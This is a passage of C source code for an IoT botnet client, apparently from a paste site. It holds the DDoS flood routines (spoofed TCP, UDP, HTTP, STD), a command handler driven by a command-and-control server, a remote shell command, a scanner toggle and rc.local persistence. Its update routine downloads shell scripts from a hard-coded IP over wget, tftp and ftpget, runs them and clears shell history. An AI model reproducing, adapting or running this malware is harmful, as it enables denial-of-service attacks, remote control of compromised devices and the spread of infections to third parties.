  1785. } else {
  1786. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1787. }
  1788. pch = strtok(NULL, ",");
  1789. }
  1790. }
  1791.  
  1792. tcph->window = rand_cmwc();
  1793. tcph->check = 0;
  1794. tcph->urg_ptr = 0;
  1795. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1796. tcph->check = tcpcsum(iph, tcph);
  1797.  
  1798. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1799.  
  1800. int end = time(NULL) + timeEnd;
  1801. register unsigned int i = 0;
  1802. while(1)
  1803. {
  1804. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1805.  
  1806. iph->saddr = htonl( getRandomIP(netmask) );
  1807. iph->id = rand_cmwc();
  1808. tcph->seq = rand_cmwc();
  1809. tcph->source = rand_cmwc();
  1810. tcph->check = 0;
  1811. tcph->check = tcpcsum(iph, tcph);
  1812. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1813.  
  1814. if(i == pollRegister)
  1815. {
  1816. if(time(NULL) > end) break;
  1817. i = 0;
  1818. continue;
  1819. }
  1820. i++;
  1821. }
  1822. }
  1823.  
  1824. void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {
  1825. int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1826. char request[512], buffer[1];
  1827. for (i = 0; i < power; i++) {
  1828. sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]);
  1829. if (fork()) {
  1830. while (end > time(NULL)) {
  1831. socket = socket_connect(host, port);
  1832. if (socket != 0) {
  1833. write(socket, request, strlen(request));
  1834. read(socket, buffer, 1);
  1835. close(socket);
  1836. }
  1837. }
  1838. exit(0);
  1839. }
  1840. }
  1841. }
  1842.  
  1843. void sendCNC(unsigned char *ip,int port, int end_time)
  1844. {
  1845. int end = time(NULL) + end_time;
  1846. int sockfd;
  1847. struct sockaddr_in server;
  1848. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1849.  
  1850. server.sin_addr.s_addr = inet_addr(ip);
  1851. server.sin_family = AF_INET;
  1852. server.sin_port = htons(port);
  1853.  
  1854. while(end > time(NULL))
  1855. {
  1856. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1857. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1858. sleep(1);
  1859. close(sockfd);
  1860. }
  1861.  
  1862. }
  1863.  
  1864. void updatemybins()
  1865. {
  1866. int pid;
  1867.  
  1868. if ( (pid = fork()) == 0) {
  1869. system("cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;wget http://89.34.99.131/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 89.34.99.131; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 89.34.99.131 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; history -c");
  1870. sleep(20); //sleeping for 5 dont wanna kill all your bots.
  1871. } else {
  1872. printf("%d\n", pid);
  1873. }
  1874.  
  1875. return;
  1876. }
  1877.  
  1878. void processCmd(int argc, unsigned char *argv[])
  1879. {
  1880. int x;
  1881. if(!strcmp(argv[0], "PING"))
  1882. {
  1883. sockprintf(mainCommSock, "PONG!");
  1884. return;
  1885. }
  1886.  
  1887. if(!strcmp(argv[0], "NUP"))
  1888. {
  1889. if(argc > 0){
  1890. char *ip = argv[1];
  1891. ourPublicIP.s_addr = inet_addr(ip);
  1892. sockprintf(mainCommSock, "TEST %s", inet_ntoa(ourIP));
  1893. }
  1894. return;
  1895. }
  1896.  
  1897. if(!strcmp(argv[0], "SPOOF"))
  1898. {
  1899. if(argc > 2){
  1900. char *ip = argv[1];
  1901. int port = argv[2];
  1902. spoofTest(ip,port);
  1903. }
  1904. return;
  1905. }
  1906.  
  1907. if(!strcmp(argv[0], "TABLE"))
  1908. {
  1909. sockprintf(mainCommSock, "%d", getdtablesize());
  1910. return;
  1911. }
  1912.  
  1913. if(!strcmp(argv[0], "UPDATE"))
  1914. {
  1915. sockprintf(mainCommSock, "UPDATING");
  1916. sockprintf(mainCommSock, "SUCCESFULLY UPDATED BINS");
  1917. updatemybins(1);
  1918. return;
  1919. }
  1920.  
  1921. if(!strcmp(argv[0], "SCANNER"))
  1922. {
  1923. if(argc != 2)
  1924. {
  1925. sockprintf(mainCommSock, "SCANNER ON | OFF");
  1926. return;
  1927. }
  1928. if(!strcmp(argv[1], "OFF"))
  1929. {
  1930. if(scanPid == 0) return;
  1931. kill(scanPid, 9);
  1932. sockprintf(mainCommSock, "SCANNER OFF");
  1933. scanPid = 0;
  1934. }
  1935. if(!strcmp(argv[1], "ON"))
  1936. {
  1937. if(scanPid != 0) return;
  1938. uint32_t parent;
  1939. parent = fork();
  1940. int threads = 1000;
  1941. int timeout = 10;
  1942. if (parent > 0) { scanPid = parent; return;}
  1943. else if(parent == -1) return;
  1944. sockprintf(mainCommSock, "SCANNER Starting On -> %s", inet_ntoa(ourIP));
  1945. StartTheLelz(timeout, threads);
  1946. _exit(0);
  1947. }
  1948. }
  1949.  
  1950. if(!strcmp(argv[0], "GETLOCALIP"))
  1951. {
  1952. sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1953. return;
  1954. }
  1955.  
  1956. if(!strcmp(argv[0], "GETPUBLICIP"))
  1957. {
  1958. sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourPublicIP));
  1959. return;
  1960. }
  1961.  
  1962. if(!strcmp(argv[0], "RANGE"))
  1963. {
  1964. if(argc < 2 || atoi(argv[1]) == -1){
  1965. sockprintf(mainCommSock, "RANGE <option 0-4>");
  1966. }else{
  1967. sockprintf(mainCommSock, "Range %d->%d", rangechoice, atoi(argv[1]));
  1968. rangechoice = atoi(argv[1]);
  1969. }
  1970. return;
  1971. }
  1972.  
  1973. if(!strcmp(argv[0], "UDP"))
  1974. {
  1975. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1976. {
  1977. sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
  1978. return;
  1979. }
  1980.  
  1981. unsigned char *ip = argv[1];
  1982. int port = atoi(argv[2]);
  1983. int time = atoi(argv[3]);
  1984. int spoofed = atoi(argv[4]);
  1985. int packetsize = atoi(argv[5]);
  1986. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  1987. int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  1988. int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  1989.  
  1990. if(strstr(ip, ",") != NULL)
  1991. {
  1992. unsigned char *hi = strtok(ip, ",");
  1993. while(hi != NULL)
  1994. {
  1995. if(!listFork())
  1996. {
  1997. sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  1998. _exit(0);
  1999. }
  2000. hi = strtok(NULL, ",");
  2001. }
  2002. } else {
  2003. if (!listFork()){
  2004. sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  2005. _exit(0);
  2006. }
  2007. }
  2008. return;
  2009. }
  2010.  
  2011. if(!strcmp(argv[0], "TCP"))
  2012. {
  2013. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2014. {
  2015. sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  2016. return;
  2017. }
  2018.  
  2019. unsigned char *ip = argv[1];
  2020. int port = atoi(argv[2]);
  2021. int time = atoi(argv[3]);
  2022. int spoofed = atoi(argv[4]);
  2023. unsigned char *flags = argv[5];
  2024.  
  2025. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2026. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2027.  
  2028. if(strstr(ip, ",") != NULL)
  2029. {
  2030. unsigned char *hi = strtok(ip, ",");
  2031. while(hi != NULL)
  2032. {
  2033. if(!listFork())
  2034. {
  2035. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2036. _exit(0);
  2037. }
  2038. hi = strtok(NULL, ",");
  2039. }
  2040. } else {
  2041. if (!listFork()) {
  2042. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2043. _exit(0);
  2044. }
  2045. }
  2046. }
  2047. if (!strcmp(argv[0], "HTTP"))
  2048. {
  2049. // !* HTTP METHOD TARGET PORT PATH TIME POWER
  2050. if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  2051. if (listFork()) return;
  2052. SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  2053. exit(0);
  2054. }
  2055.  
  2056. if(!strcmp(argv[0], "VIEWPAGE"))
  2057. {
  2058. if(argc < 2){
  2059. sockprintf(mainCommSock, "VIEWPAGE <http ip url>");
  2060. return;
  2061. }else{
  2062. char *url = argv[1];
  2063. char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  2064. system("mkdir /tmp/yuagwduiagwdhg");
  2065. char *command[80];
  2066. sprintf(command,"wget -O /tmp/yuagwduiagwdhg/a -U \"");
  2067. strcat(command, UA);
  2068. strcat(command,"\" -q ");
  2069. strcat(command, url);
  2070. system(command);
  2071. system("rm -fr /tmp/yuagwduiagwdhg");
  2072. }
  2073. }
  2074.  
  2075. if(!strcmp(argv[0], "CNC"))
  2076. {
  2077. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2078. {
  2079. sockprintf(mainCommSock, "CNC <target> <port> <time>");
  2080. return;
  2081. }
  2082.  
  2083. unsigned char *ip = argv[1];
  2084. int port = atoi(argv[2]);
  2085. int time = atoi(argv[3]);
  2086.  
  2087. if(strstr(ip, ",") != NULL)
  2088. {
  2089. unsigned char *hi = strtok(ip, ",");
  2090. while(hi != NULL)
  2091. {
  2092. if(!listFork())
  2093. {
  2094. sendCNC(hi, port, time);
  2095. close(mainCommSock);
  2096. _exit(0);
  2097. }
  2098. hi = strtok(NULL, ",");
  2099. }
  2100. } else {
  2101. if (listFork()) { return; }
  2102.  
  2103. sendCNC(ip, port, time);
  2104. _exit(0);
  2105. }
  2106. }
  2107.  
  2108. if(!strcmp(argv[0], "STD"))
  2109. {
  2110. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2111. {
  2112. sockprintf(mainCommSock, "STD <target> <port> <time>");
  2113. return;
  2114. }
  2115.  
  2116. unsigned char *ip = argv[1];
  2117. int port = atoi(argv[2]);
  2118. int time = atoi(argv[3]);
  2119.  
  2120. if(strstr(ip, ",") != NULL)
  2121. {
  2122. unsigned char *hi = strtok(ip, ",");
  2123. while(hi != NULL)
  2124. {
  2125. if(!listFork())
  2126. {
  2127. sendSTD(hi, port, time);
  2128. _exit(0);
  2129. }
  2130. hi = strtok(NULL, ",");
  2131. }
  2132. } else {
  2133. if (listFork()) { return; }
  2134.  
  2135. sendSTD(ip, port, time);
  2136. _exit(0);
  2137. }
  2138.  
  2139. }
  2140.  
  2141. if(!strcmp(argv[0], "KILLATTK"))
  2142. {
  2143. int killed = 0;
  2144. unsigned long i;
  2145. for (i = 0; i < numpids; i++) {
  2146. if (pids[i] != 0 && pids[i] != getpid()) {
  2147. kill(pids[i], 9);
  2148. killed++;
  2149. }
  2150. }
  2151.  
  2152. if(killed > 0)
  2153. {
  2154. sockprintf(mainCommSock, "Killed %d.", killed);
  2155. } else {
  2156. sockprintf(mainCommSock, "None Killed.");
  2157. }
  2158. }
  2159.  
  2160. if(!strcmp(argv[0], "LOLNOGTFO"))
  2161. {
  2162. exit(0);
  2163. }
  2164. }
  2165.  
  2166. int initConnection()
  2167. {
  2168. unsigned char server[4096];
  2169. memset(server, 0, 4096);
  2170. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2171. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2172. else currentServer++;
  2173.  
  2174. strcpy(server, commServer[currentServer]);
  2175. int port = 23;
  2176. if(strchr(server, ':') != NULL)
  2177. {
  2178. port = atoi(strchr(server, ':') + 1);
  2179. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2180. }
  2181.  
  2182. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2183.  
  2184. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2185.  
  2186. return 0;
  2187. }
  2188.  
  2189. int getOurIP()
  2190. {
  2191. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2192. if(sock == -1) return 0;
  2193.  
  2194. struct sockaddr_in serv;
  2195. memset(&serv, 0, sizeof(serv));
  2196. serv.sin_family = AF_INET;
  2197. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2198. serv.sin_port = htons(53);
  2199.  
  2200. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2201. if(err == -1) return 0;
  2202.  
  2203. struct sockaddr_in name;
  2204. socklen_t namelen = sizeof(name);
  2205. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2206. if(err == -1) return 0;
  2207.  
  2208. ourIP.s_addr = name.sin_addr.s_addr;
  2209.  
  2210. int cmdline = open("/proc/net/route", O_RDONLY);
  2211. char linebuf[4096];
  2212. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2213. {
  2214. if(strstr(linebuf, "\t00000000\t") != NULL)
  2215. {
  2216. unsigned char *pos = linebuf;
  2217. while(*pos != '\t') pos++;
  2218. *pos = 0;
  2219. break;
  2220. }
  2221. memset(linebuf, 0, 4096);
  2222. }
  2223. close(cmdline);
  2224.  
  2225. if(*linebuf)
  2226. {
  2227. int i;
  2228. struct ifreq ifr;
  2229. strcpy(ifr.ifr_name, linebuf);
  2230. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2231. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2232. }
  2233.  
  2234. close(sock);
  2235. }
  2236.  
  2237. char *getBuild()
  2238. {
  2239. #ifdef MIPS_BUILD
  2240. return "MIPS";
  2241. #elif MIPSEL_BUILD
  2242. return "MIPSEL";
  2243. #elif X86_BUILD
  2244. return "X86";
  2245. #elif ARM_BUILD
  2246. return "ARM";
  2247. #elif PPC_BUILD
  2248. return "POWERPC";
  2249. #else
  2250. return "PROMETHEUS";
  2251. #endif
  2252. }
  2253.  
  2254. int main(int argc, unsigned char *argv[])
  2255. {
  2256. char *mynameis = "";
  2257. if(SERVER_LIST_SIZE <= 0) return 0;
  2258. printf("BUILD %s\n", getBuild());
  2259. strncpy(argv[0],"",strlen(argv[0]));
  2260. argv[0] = "";
  2261. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2262. srand(time(NULL) ^ getpid());
  2263. init_rand(time(NULL) ^ getpid());
  2264. pid_t pid1;
  2265. pid_t pid2;
  2266. int status;
  2267. int dupthing = 0;
  2268.  
  2269. char cwd[256],*str;
  2270. FILE *file;
  2271. str="/etc/rc.d/rc.local";
  2272. file=fopen(str,"r");
  2273. if (file == NULL) {
  2274. str="/etc/rc.conf";
  2275. file=fopen(str,"r");
  2276. }
  2277. if (file != NULL) {
  2278. char outfile[256], buf[1024];
  2279. int i=strlen(argv[0]), d=0;
  2280. getcwd(cwd,256);
  2281. if (strcmp(cwd,"/")) {
  2282. while(argv[0][i] != '/') i--;
  2283. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  2284. while(!feof(file)) {
  2285. fgets(buf,1024,file);
  2286. if (!strcasecmp(buf,outfile)) d++;
  2287. }
  2288. if (d == 0) {
  2289. FILE *out;
  2290. fclose(file);
  2291. out=fopen(str,"a");
  2292. if (out != NULL) {
  2293. fputs(outfile,out);
  2294. fclose(out);
  2295. }
  2296. }
  2297. else fclose(file);
  2298. }
  2299. else fclose(file);
  2300. }
  2301.  
  2302. getOurIP();
  2303.  
  2304. if (pid1 = fork()) {
  2305. waitpid(pid1, &status, 0);
  2306. exit(0);
  2307. } else if (!pid1) {
  2308. if (pid2 = fork()) {
  2309. exit(0);
  2310. } else if (!pid2) {
  2311. } else {
  2312. zprintf("fork failed\n");
  2313. }
  2314. } else {
  2315. zprintf("fork failed\n");
  2316. }
  2317.  
  2318. setsid();
  2319. chdir("/");
  2320.  
  2321. signal(SIGPIPE, SIG_IGN);
  2322.  
  2323. while(1)
  2324. {
  2325. if(initConnection()) { sleep(30); continue; }
  2326.  
  2327. sockprintf(mainCommSock, "BUILD %s", getBuild());
  2328.  
  2329. char commBuf[4096];
  2330. int got = 0;
  2331. int i = 0;
  2332. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  2333. {
  2334. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2335. unsigned int *newpids, on;
  2336. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2337. pids[on - 1] = 0;
  2338. numpids--;
  2339. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2340. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2341. free(pids);
  2342. pids = newpids;
  2343. }
  2344.  
  2345. commBuf[got] = 0x00;
  2346.  
  2347. trim(commBuf);
  2348.  
  2349. if(strstr(commBuf, "PING") == commBuf)
  2350. {
  2351. sockprintf(mainCommSock, "PONG");
  2352. continue;
  2353. }
  2354. if(strstr(commBuf, "DUP") == commBuf){
  2355. dupthing++;
  2356. zprintf("PEACE OUT IMMA DUP\n");
  2357. if(dupthing > 20){
  2358. exit(0);
  2359. }
  2360. break;
  2361. }
  2362.  
  2363. unsigned char *message = commBuf;
  2364.  
  2365. if(*message == '!')
  2366. {
  2367. unsigned char *nickMask = message + 1;
  2368. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2369. if(*nickMask == 0x00) continue;
  2370. *(nickMask) = 0x00;
  2371. nickMask = message + 1;
  2372.  
  2373. message = message + strlen(nickMask) + 2;
  2374. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2375.  
  2376. unsigned char *command = message;
  2377. while(*message != ' ' && *message != 0x00) message++;
  2378. *message = 0x00;
  2379. message++;
  2380.  
  2381. unsigned char *tmpcommand = command;
  2382. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2383.  
  2384. if(strcmp(command, "SH") == 0)
  2385. {
  2386. unsigned char buf[1024];
  2387. int command;
  2388. if (listFork()) continue;
  2389. memset(buf, 0, 1024);
  2390. szprintf(buf, "%s 2>&1", message);
  2391. command = fdpopen(buf, "r");
  2392. while(fdgets(buf, 1024, command) != NULL)
  2393. {
  2394. trim(buf);
  2395. sockprintf(mainCommSock, "%s", buf);
  2396. memset(buf, 0, 1024);
  2397. sleep(1);
  2398. }
  2399. fdpclose(command);
  2400. exit(0);
  2401. }
  2402.  
  2403. unsigned char *params[10];
  2404. int paramsCount = 1;
  2405. unsigned char *pch = strtok(message, " ");
  2406. params[0] = command;
  2407.  
  2408. while(pch)
  2409. {
  2410. if(*pch != '\n')
  2411. {
  2412. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2413. memset(params[paramsCount], 0, strlen(pch) + 1);
  2414. strcpy(params[paramsCount], pch);
  2415. paramsCount++;
  2416. }
  2417. pch = strtok(NULL, " ");
  2418. }
  2419.  
  2420. processCmd(paramsCount, params);
  2421.  
  2422. if(paramsCount > 1)
  2423. {
  2424. int q = 1;
  2425. for(q = 1; q < paramsCount; q++)
  2426. {
  2427. free(params[q]);
  2428. }
  2429. }
  2430. }
  2431. }
  2432. sleep(30);
  2433. }
  2434.  
  2435. return 0;
  2436. printf("client exiting");
  2437. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement